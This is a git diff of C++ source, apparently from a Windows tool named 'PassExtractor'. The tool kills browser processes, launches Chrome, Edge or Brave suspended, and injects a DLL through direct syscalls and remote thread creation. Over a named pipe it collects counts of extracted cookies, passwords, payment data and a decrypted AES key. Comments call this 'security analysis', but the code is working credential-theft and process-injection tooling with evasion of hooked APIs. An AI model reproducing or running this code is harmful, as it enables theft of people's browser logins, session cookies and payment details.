extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int - { - size_t start = message.find(prefix); - if (start == std::string::npos) return 0; - start += prefix.length(); - size_t end = message.find(suffix, start); - if (end == std::string::npos) return 0; - - try { - return std::stoi(message.substr(start, end - start)); - } - catch (...) { - return 0; - } - }; - - // Parse different statistics from security module messages - if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos) - m_stats.profileCount = extractNumber("Found ", " profile(s)"); - - if (message.find("Decrypted AES Key: ") != std::string::npos) - m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); - - if (message.find(" cookies extracted to ") != std::string::npos) - m_stats.totalCookies += extractNumber("[*] ", " cookies"); - - if (message.find(" passwords extracted to ") != std::string::npos) - m_stats.totalPasswords += extractNumber("[*] ", " passwords"); - - if (message.find(" payments extracted to ") != std::string::npos) - m_stats.totalPayments += extractNumber("[*] ", " payments"); - } - - std::wstring m_pipeName; - const Console& m_console; - UniqueHandle m_pipeHandle; - ExtractionStats m_stats; -}; - -// Security module injection and execution manager -class InjectionManager -{ -public: - InjectionManager(TargetProcess& target, const Console& console) : m_target(target), m_console(console) {} - - // Execute security module in target process - void execute(const std::wstring& pipeName) - { - m_console.Debug("Loading security module from file: " + g_securityModulePath); - loadSecurityModuleFromFile(g_securityModulePath); - - m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point."); - DWORD rdiOffset = getInitializeSecurityContextOffset(); - if (rdiOffset == 0) - throw std::runtime_error("Could not find InitializeSecurityContext export in security module."); - m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset)); - - // Allocate memory in target process for module and parameters - m_console.Debug("Allocating memory for security module in target process."); - PVOID remoteModuleBase = nullptr; - SIZE_T moduleSize = m_moduleBuffer.size(); - SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t); - SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize; - - NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0, - &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status)); - m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase)); - - // Write security module to target process - m_console.Debug("Writing security module to target process memory."); - SIZE_T bytesWritten = 0; - status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase, - m_moduleBuffer.data(), moduleSize, &bytesWritten); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status)); - - // Write pipe name parameter - m_console.Debug("Writing pipe name parameter into the same allocation."); - LPVOID remotePipeNameAddr = reinterpret_cast(remoteModuleBase) + moduleSize; - status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, - (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status)); - - // Make module memory executable - m_console.Debug("Changing module memory protection to executable."); - ULONG oldProtect = 0; - status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, - &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect); - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status)); - - startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr); - m_console.Debug("New thread created for security module. Main thread remains suspended."); - } - -private: - // Load security module from disk - void loadSecurityModuleFromFile(const std::string& modulePath) - { - if (!fs::exists(modulePath)) - throw std::runtime_error("Security module not found: " + modulePath); - - std::ifstream file(modulePath, std::ios::binary); - if (!file) - throw std::runtime_error("Failed to open security module: " + modulePath); - - file.seekg(0, std::ios::end); - auto fileSize = file.tellg(); - file.seekg(0, std::ios::beg); - - m_moduleBuffer.resize(static_cast(fileSize)); - file.read(reinterpret_cast(m_moduleBuffer.data()), fileSize); - - if (!file) - throw std::runtime_error("Failed to read security module: " + modulePath); - - m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath); - } - - // Find InitializeSecurityContext export in PE headers - DWORD getInitializeSecurityContextOffset() - { - auto dosHeader = reinterpret_cast(m_moduleBuffer.data()); - if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) - return 0; - - auto ntHeaders = reinterpret_cast((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew); - if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) - return 0; - - auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (exportDirRva == 0) - return 0; - - // RVA to file offset converter - auto RvaToOffset = [&](DWORD rva) -> PVOID - { - PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section) - { - if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize) - { - return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress)); - } - } - return nullptr; - }; - - auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva); - if (!exportDir) return 0; - - auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames); - auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals); - auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions); - if (!names || !ordinals || !funcs) return 0; - - // Search for InitializeSecurityContext export - for (DWORD i = 0; i < exportDir->NumberOfNames; ++i) - { - char* funcName = (char*)RvaToOffset(names[i]); - if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0) - { - PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]); - if (!funcOffsetPtr) return 0; - return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data()); - } - } - return 0; - } - - // Create new thread in target process to execute security module - void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr) - { - m_console.Debug("Creating new thread in target to execute InitializeSecurityContext."); - - uintptr_t entryPoint = reinterpret_cast(remoteModuleBase) + rdiOffset; - HANDLE hRemoteThread = nullptr; - - NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(), - (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr); - - UniqueHandle remoteThreadGuard(hRemoteThread); - - if (!NT_SUCCESS(status)) - throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status)); - - m_console.Debug("Successfully created new thread for security module."); - } - - TargetProcess& m_target; - const Console& m_console; - std::vector m_moduleBuffer; -}; - -// Helper function to build extraction summary string -std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats) -{ - std::stringstream summary; - std::vector items; - - if (stats.totalCookies > 0) - items.push_back(std::to_string(stats.totalCookies) + " cookies"); - if (stats.totalPasswords > 0) - items.push_back(std::to_string(stats.totalPasswords) + " passwords"); - if (stats.totalPayments > 0) - items.push_back(std::to_string(stats.totalPayments) + " payments"); - - if (!items.empty()) - { - summary << "Extracted "; - for (size_t i = 0; i < items.size(); ++i) - { - if (i > 0 && i == items.size() - 1) - summary << " and "; - else if (i > 0) - summary << ", "; - summary << items[i]; - } - summary << " from " << stats.profileCount << " profile" << (stats.profileCount != 1 ? "s" : ""); - } - - return summary.str(); -} - -// Check if Windows built-in SQLite3 library is available -bool CheckWinSQLite3Available() -{ - HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); - if (hWinSQLite) - { - FreeLibrary(hWinSQLite); - return true; - } - return false; -} - -// Terminate browser network service processes to release database locks -void KillBrowserNetworkService(const Configuration& config, const Console& console) -{ - console.Debug("Scanning for and terminating browser network services..."); - - UniqueHandle hCurrentProc; - HANDLE nextProcHandle = nullptr; - int processes_terminated = 0; - - // Enumerate all processes on the system - while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, - 0, 0, &nextProcHandle))) - { - UniqueHandle hNextProc(nextProcHandle); - hCurrentProc = std::move(hNextProc); - - // Get process image name - std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); - auto imageName = reinterpret_cast(buffer.data()); - if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, - imageName, (ULONG)buffer.size(), NULL)) || - imageName->Length == 0) - continue; - - fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); - if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) - continue; - - // Get process basic information and PEB - PROCESS_BASIC_INFORMATION pbi{}; - if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, - &pbi, sizeof(pbi), nullptr)) || - !pbi.PebBaseAddress) - continue; - - PEB peb{}; - if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) - continue; - - RTL_USER_PROCESS_PARAMETERS params{}; - if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) - continue; - - // Read command line to identify network service processes - std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); - if (params.CommandLine.Length > 0 && - !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, - cmdLine.data(), params.CommandLine.Length, nullptr))) - continue; - - // Check for network service process signature - if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) - { - console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); - NtTerminateProcess_syscall(hCurrentProc.get(), 0); - processes_terminated++; - } - } - - if (processes_terminated > 0) - { - console.Debug("Termination sweep complete. Waiting for file locks to fully release."); - Sleep(1500); - } -} - -// Execute complete security analysis workflow for a single browser -PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console) -{ - KillBrowserNetworkService(config, console); - - TargetProcess target(config, console); - target.createSuspended(); - - PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console); - pipe.create(); - - InjectionManager injector(target, console); - injector.execute(pipe.getName()); - - pipe.waitForClient(); - pipe.sendInitialData(config.verbose, config.outputPath); - pipe.relayMessages(); - - target.terminate(); - - return pipe.getStats(); -} - -// Display extraction results summary -void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats, - const Console& console, bool singleBrowser, const fs::path& outputPath) -{ - if (singleBrowser) - { - if (!stats.aesKey.empty()) - console.Success("AES Key: " + stats.aesKey); - - std::string summary = BuildExtractionSummary(stats); - if (!summary.empty()) - { - console.Success(summary); - console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); - } - else - { - console.Warn("No data extracted"); - } - } - else - { - console.Info(browserName); - - if (!stats.aesKey.empty()) - console.Success("AES Key: " + stats.aesKey); - - std::string summary = BuildExtractionSummary(stats); - if (!summary.empty()) - { - console.Success(summary); - console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName)); - } - else - { - console.Warn("No data extracted"); - } - } -} - -// Process all installed browsers sequentially -void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath) -{ - if (verbose) - console.Info("Starting multi-browser security analysis..."); - - BrowserPathResolver resolver(console); - auto installedBrowsers = resolver.findAllInstalledBrowsers(); - - if (installedBrowsers.empty()) - { - console.Error("No supported browsers found on this system"); - return; - } - - if (!verbose) - console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n"); - - int successCount = 0; - int failCount = 0; - - for (size_t i = 0; i < installedBrowsers.size(); ++i) - { - const auto& [browserType, browserPath] = installedBrowsers[i]; - - Configuration config; - config.verbose = verbose; - config.outputPath = outputPath; - config.browserType = browserType; - config.browserDefaultExePath = browserPath; - - // Map browser type to process name and display name - static const std::map> browserMap = { - {L"chrome", {L"chrome.exe", "Chrome"}}, - {L"edge", {L"msedge.exe", "Edge"}}, - {L"brave", {L"brave.exe", "Brave"}} - }; - - auto it = browserMap.find(browserType); - if (it != browserMap.end()) - { - config.browserProcessName = it->second.first; - config.browserDisplayName = it->second.second; - } - - if (verbose) - { - console.Info("\n[Browser " + std::to_string(i + 1) + "/" + std::to_string(installedBrowsers.size()) + - "] Processing " + config.browserDisplayName); - } - - try - { - auto stats = RunInjectionWorkflow(config, console); - successCount++; - - if (verbose) - { - console.Success(config.browserDisplayName + " analysis completed"); - } - else - { - DisplayExtractionSummary(config.browserDisplayName, stats, console, false, config.outputPath); - if (i < installedBrowsers.size() - 1) - std::cout << std::endl; - } - } - catch (const std::exception& e) - { - failCount++; - - if (verbose) - { - console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what())); - } - else - { - console.Info(config.browserDisplayName); - console.Error("Analysis failed"); - if (i < installedBrowsers.size() - 1) - std::cout << std::endl; - } - } - } - - std::cout << std::endl; - console.Info("Completed: " + std::to_string(successCount) + " successful, " + std::to_string(failCount) + " failed"); -} - -// Application entry point -int wmain(int argc, wchar_t* argv[]) -{ - bool isVerbose = false; - std::wstring browserTarget; - fs::path outputPath; - - // Validate required files before startup - only security module is mandatory - auto findSecurityModule = []() -> std::string { - // Try current directory first - if (fs::exists(SECURITY_MODULE_NAME)) - return SECURITY_MODULE_NAME; - - // Try system directory - wchar_t systemDir[MAX_PATH]; - if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { - std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME; - if (fs::exists(systemPath)) - return systemPath; - } - - return ""; - }; - - g_securityModulePath = findSecurityModule(); - if (g_securityModulePath.empty()) - { - std::wcerr << L"Error: " << SECURITY_MODULE_NAME << L" not found in current directory or System32!" << std::endl; - return 1; - } - - // Parse command line arguments - for (int i = 1; i < argc; ++i) - { - std::wstring_view arg = argv[i]; - if (arg == L"--verbose" || arg == L"-v") - isVerbose = true; - else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) - outputPath = argv[++i]; - else if (arg == L"--help" || arg == L"-h") - { - Console(false).displayBanner(); - Console(false).printUsage(); - return 0; - } - else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-') - browserTarget = arg; - } - - Console console(isVerbose); - console.displayBanner(); - - // Check SQLite availability - system winsqlite3.dll preferred, fallback to local sqlite3.dll - if (!CheckWinSQLite3Available()) - { - console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll"); - if (!fs::exists("sqlite3.dll")) - { - console.Error("Neither winsqlite3.dll nor sqlite3.dll available"); - return 1; - } - } - - if (browserTarget.empty()) - { - console.printUsage(); - return 0; - } - - // Initialize direct syscalls for low-level operations - if (!InitializeSyscalls(isVerbose)) - { - console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."); - return 1; - } - - // Prepare output directory structure - if (outputPath.empty()) - outputPath = fs::current_path() / "output"; - - std::error_code ec; - if (!fs::exists(outputPath)) { - fs::create_directories(outputPath, ec); - if (ec) { - console.Error("Failed to create output directory: " + Utils::path_to_api_string(outputPath) + - ". Error: " + ec.message()); - return 1; - } - } - - // Execute browser security analysis - if (browserTarget == L"all") - { - try - { - ProcessAllBrowsers(console, isVerbose, outputPath); - } - catch (const std::exception& e) - { - console.Error(e.what()); - return 1; - } - } - else - { - auto optConfig = Configuration::CreateFromArgs(argc, argv, console); - if (!optConfig) - return 1; - - try - { - if (!isVerbose) - console.Info("Processing " + optConfig->browserDisplayName + "...\n"); - - auto stats = RunInjectionWorkflow(*optConfig, console); - - if (!isVerbose) - DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true, optConfig->outputPath); - else - console.Success("\nSecurity analysis completed successfully"); - } - catch (const std::runtime_error& e) - { - console.Error(e.what()); - return 1; - } - } - - console.Debug("Security orchestrator finished successfully."); - return 0; -} \ No newline at end of file diff --git a/kvc/BrowserProcessManager.cpp b/kvc/BrowserProcessManager.cpp new file mode 100644 index 0000000..1f531c7 --- /dev/null +++ b/kvc/BrowserProcessManager.cpp @@ -0,0 +1,207 @@ +// BrowserProcessManager.cpp - Browser process management and cleanup operations +#include "BrowserProcessManager.h" +#include "syscalls.h" +#include + +#ifndef IMAGE_FILE_MACHINE_AMD64 +#define IMAGE_FILE_MACHINE_AMD64 0x8664 +#endif + +#ifndef IMAGE_FILE_MACHINE_I386 +#define IMAGE_FILE_MACHINE_I386 0x014c +#endif + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +// Handle cleanup using direct syscall +void HandleDeleter::operator()(HANDLE h) const noexcept +{ + if (h && h != INVALID_HANDLE_VALUE) + NtClose_syscall(h); +} + +// Constructor initializes target process context +TargetProcess::TargetProcess(const Configuration& config, const Console& console) + : m_config(config), m_console(console) {} + +// Creates suspended browser process for safe injection +void TargetProcess::createSuspended() +{ + m_console.Debug("Creating suspended " + m_config.browserDisplayName + " process."); + m_console.Debug("Target executable path: " + Utils::WStringToUtf8(m_config.browserDefaultExePath)); + + STARTUPINFOW si{}; + PROCESS_INFORMATION pi{}; + si.cb = sizeof(si); + + if (!CreateProcessW(m_config.browserDefaultExePath.c_str(), nullptr, nullptr, nullptr, + FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) + throw std::runtime_error("CreateProcessW failed. Error: " + std::to_string(GetLastError())); + + m_hProcess.reset(pi.hProcess); + m_hThread.reset(pi.hThread); + m_pid = pi.dwProcessId; + + m_console.Debug("Created suspended process PID: " + std::to_string(m_pid)); + checkArchitecture(); +} + +// Terminates target process via direct syscall +void TargetProcess::terminate() +{ + if (m_hProcess) + { + m_console.Debug("Terminating browser PID=" + std::to_string(m_pid) + " via direct syscall."); + NtTerminateProcess_syscall(m_hProcess.get(), 0); + m_console.Debug(m_config.browserDisplayName + " terminated by orchestrator."); + } +} + +// Validates matching x64 architecture +void TargetProcess::checkArchitecture() +{ + USHORT processArch = 0, nativeMachine = 0; + auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress( + GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); + if (!fnIsWow64Process2 || !fnIsWow64Process2(m_hProcess.get(), &processArch, &nativeMachine)) + throw std::runtime_error("Failed to determine target process architecture."); + + m_arch = (processArch == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processArch; + constexpr USHORT orchestratorArch = IMAGE_FILE_MACHINE_AMD64; + + if (m_arch != orchestratorArch) + throw std::runtime_error("Architecture mismatch. Orchestrator is x64 but target is " + + std::string(getArchName(m_arch))); + + m_console.Debug("Architecture match: Orchestrator=x64, Target=" + std::string(getArchName(m_arch))); +} + +// Returns human-readable architecture name +const char* TargetProcess::getArchName(USHORT arch) const noexcept +{ + switch (arch) + { + case IMAGE_FILE_MACHINE_AMD64: return "x64"; + case IMAGE_FILE_MACHINE_I386: return "x86"; + default: return "Unknown"; + } +} + +// Terminates all browser processes matching the target executable name +void KillBrowserProcesses(const Configuration& config, const Console& console) +{ + console.Debug("Terminating all browser processes to release file locks..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + console.Debug("Found and terminated browser process PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + + if (processes_terminated > 0) + { + console.Debug("Terminated " + std::to_string(processes_terminated) + " browser processes. Waiting for file locks to release."); + Sleep(2000); + } +} + +// Terminates browser network service processes that hold database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console) +{ + console.Debug("Scanning for and terminating browser network services..."); + + UniqueHandle hCurrentProc; + HANDLE nextProcHandle = nullptr; + int processes_terminated = 0; + + while (NT_SUCCESS(NtGetNextProcess_syscall(hCurrentProc.get(), PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, + 0, 0, &nextProcHandle))) + { + UniqueHandle hNextProc(nextProcHandle); + hCurrentProc = std::move(hNextProc); + + std::vector buffer(sizeof(UNICODE_STRING_SYSCALLS) + MAX_PATH * 2); + auto imageName = reinterpret_cast(buffer.data()); + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, + imageName, (ULONG)buffer.size(), NULL)) || + imageName->Length == 0) + continue; + + fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t))); + if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0) + continue; + + PROCESS_BASIC_INFORMATION pbi{}; + if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, + &pbi, sizeof(pbi), nullptr)) || + !pbi.PebBaseAddress) + continue; + + PEB peb{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr))) + continue; + + RTL_USER_PROCESS_PARAMETERS params{}; + if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr))) + continue; + + std::vector cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0); + if (params.CommandLine.Length > 0 && + !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, + cmdLine.data(), params.CommandLine.Length, nullptr))) + continue; + + if (wcsstr(cmdLine.data(), L"--utility-sub-type=network.mojom.NetworkService")) + { + console.Debug("Found and terminated network service PID: " + std::to_string((DWORD)pbi.UniqueProcessId)); + NtTerminateProcess_syscall(hCurrentProc.get(), 0); + processes_terminated++; + } + } + + if (processes_terminated > 0) + { + console.Debug("Termination sweep complete. Waiting for file locks to fully release."); + Sleep(1500); + } +} + +// Checks if Windows native SQLite library is available +bool CheckWinSQLite3Available() +{ + HMODULE hWinSQLite = LoadLibraryW(L"winsqlite3.dll"); + if (hWinSQLite) + { + FreeLibrary(hWinSQLite); + return true; + } + return false; +} \ No newline at end of file diff --git a/kvc/BrowserProcessManager.h b/kvc/BrowserProcessManager.h new file mode 100644 index 0000000..24748d3 --- /dev/null +++ b/kvc/BrowserProcessManager.h @@ -0,0 +1,52 @@ +// BrowserProcessManager.h - Browser process lifecycle and cleanup management +#ifndef BROWSER_PROCESS_MANAGER_H +#define BROWSER_PROCESS_MANAGER_H + +#include +#include "OrchestratorCore.h" +#include "CommunicationLayer.h" + +// RAII wrapper for Windows handle management with syscall-based cleanup +struct HandleDeleter +{ + void operator()(HANDLE h) const noexcept; +}; +using UniqueHandle = std::unique_ptr; + +// Manages target browser process lifecycle +class TargetProcess +{ +public: + TargetProcess(const Configuration& config, const Console& console); + + // Creates browser process in suspended state for injection + void createSuspended(); + + // Terminates the target process using direct syscall + void terminate(); + + HANDLE getProcessHandle() const noexcept { return m_hProcess.get(); } + +private: + // Validates architecture compatibility between orchestrator and target + void checkArchitecture(); + const char* getArchName(USHORT arch) const noexcept; + + const Configuration& m_config; + const Console& m_console; + DWORD m_pid = 0; + UniqueHandle m_hProcess; + UniqueHandle m_hThread; + USHORT m_arch = 0; +}; + +// Terminates all running browser processes to release database file locks +void KillBrowserProcesses(const Configuration& config, const Console& console); + +// Terminates browser network service which often holds database locks +void KillBrowserNetworkService(const Configuration& config, const Console& console); + +// Checks availability of Windows native SQLite library +bool CheckWinSQLite3Available(); + +#endif // BROWSER_PROCESS_MANAGER_H \ No newline at end of file diff --git a/kvc/CommunicationLayer.cpp b/kvc/CommunicationLayer.cpp new file mode 100644 index 0000000..61cad81 --- /dev/null +++ b/kvc/CommunicationLayer.cpp @@ -0,0 +1,463 @@ +// CommunicationLayer.cpp - Console and pipe communication implementation +#include "CommunicationLayer.h" +#include "syscalls.h" +#include +#include +#include +#include + +#pragma comment(lib, "Rpcrt4.lib") + +constexpr DWORD MODULE_COMPLETION_TIMEOUT_MS = 60000; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +// Utility function implementations +namespace Utils +{ + std::string u8string_to_string(const std::u8string& u8str) noexcept + { + return {reinterpret_cast(u8str.c_str()), u8str.size()}; + } + + std::string path_to_api_string(const fs::path& path) + { + return u8string_to_string(path.u8string()); + } + + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + std::string WStringToUtf8(std::wstring_view w_sv) + { + if (w_sv.empty()) return {}; + + int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + nullptr, 0, nullptr, nullptr); + std::string utf8_str(size_needed, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast(w_sv.length()), + &utf8_str[0], size_needed, nullptr, nullptr); + return utf8_str; + } + + std::string PtrToHexStr(const void* ptr) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << reinterpret_cast(ptr); + return oss.str(); + } + + std::string NtStatusToString(NTSTATUS status) noexcept + { + std::ostringstream oss; + oss << "0x" << std::hex << status; + return oss.str(); + } + + std::wstring GenerateUniquePipeName() + { + UUID uuid; + UuidCreate(&uuid); + wchar_t* uuidStrRaw = nullptr; + UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw); + std::wstring pipeName = L"\\\\.\\pipe\\" + std::wstring(uuidStrRaw); + RpcStringFreeW((RPC_WSTR*)&uuidStrRaw); + return pipeName; + } + + std::string Capitalize(const std::string& str) + { + if (str.empty()) return str; + std::string result = str; + result[0] = static_cast(std::toupper(static_cast(result[0]))); + return result; + } +} + +// Console implementation +Console::Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE)) +{ + CONSOLE_SCREEN_BUFFER_INFO consoleInfo; + GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo); + m_originalAttributes = consoleInfo.wAttributes; +} + +void Console::displayBanner() const +{ + SetColor(FOREGROUND_RED | FOREGROUND_INTENSITY); + std::cout << "PassExtractor x64 | 1.0.1 by WESMAR\n\n"; + ResetColor(); +} + +void Console::printUsage() const +{ + SetColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L"Usage:\n" + << L" kvc_pass.exe [options] \n\n" + << L"Options:\n" + << L" --output-path|-o Directory for output files (default: .\\output\\)\n" + << L" --verbose|-v Enable verbose debug output from the orchestrator\n" + << L" --help|-h Show this help message\n\n" + << L"Browser targets:\n" + << L" chrome - Extract from Google Chrome\n" + << L" brave - Extract from Brave Browser\n" + << L" edge - Extract from Microsoft Edge\n" + << L" all - Extract from all installed browsers\n\n" + << L"Required files:\n" + << L" kvc_crypt.dll - Security module (same directory)\n" + << L" winsqlite3.dll - SQLite library (system32) or sqlite3.dll fallback\n"; + ResetColor(); +} + +void Console::Info(const std::string& msg) const { print("[*]", msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } +void Console::Success(const std::string& msg) const { print("[+]", msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); } +void Console::Error(const std::string& msg) const { print("[-]", msg, FOREGROUND_RED | FOREGROUND_INTENSITY); } +void Console::Warn(const std::string& msg) const { print("[!]", msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); } + +void Console::Debug(const std::string& msg) const +{ + if (m_verbose) + print("[#]", msg, FOREGROUND_RED | FOREGROUND_GREEN); +} + +void Console::Relay(const std::string& message) const +{ + size_t tagStart = message.find('['); + size_t tagEnd = message.find(']', tagStart); + + if (tagStart != std::string::npos && tagEnd != std::string::npos) + { + std::cout << message.substr(0, tagStart); + std::string tag = message.substr(tagStart, tagEnd - tagStart + 1); + + WORD color = m_originalAttributes; + if (tag == "[+]") color = FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[-]") color = FOREGROUND_RED | FOREGROUND_INTENSITY; + else if (tag == "[*]") color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + else if (tag == "[!]") color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; + + 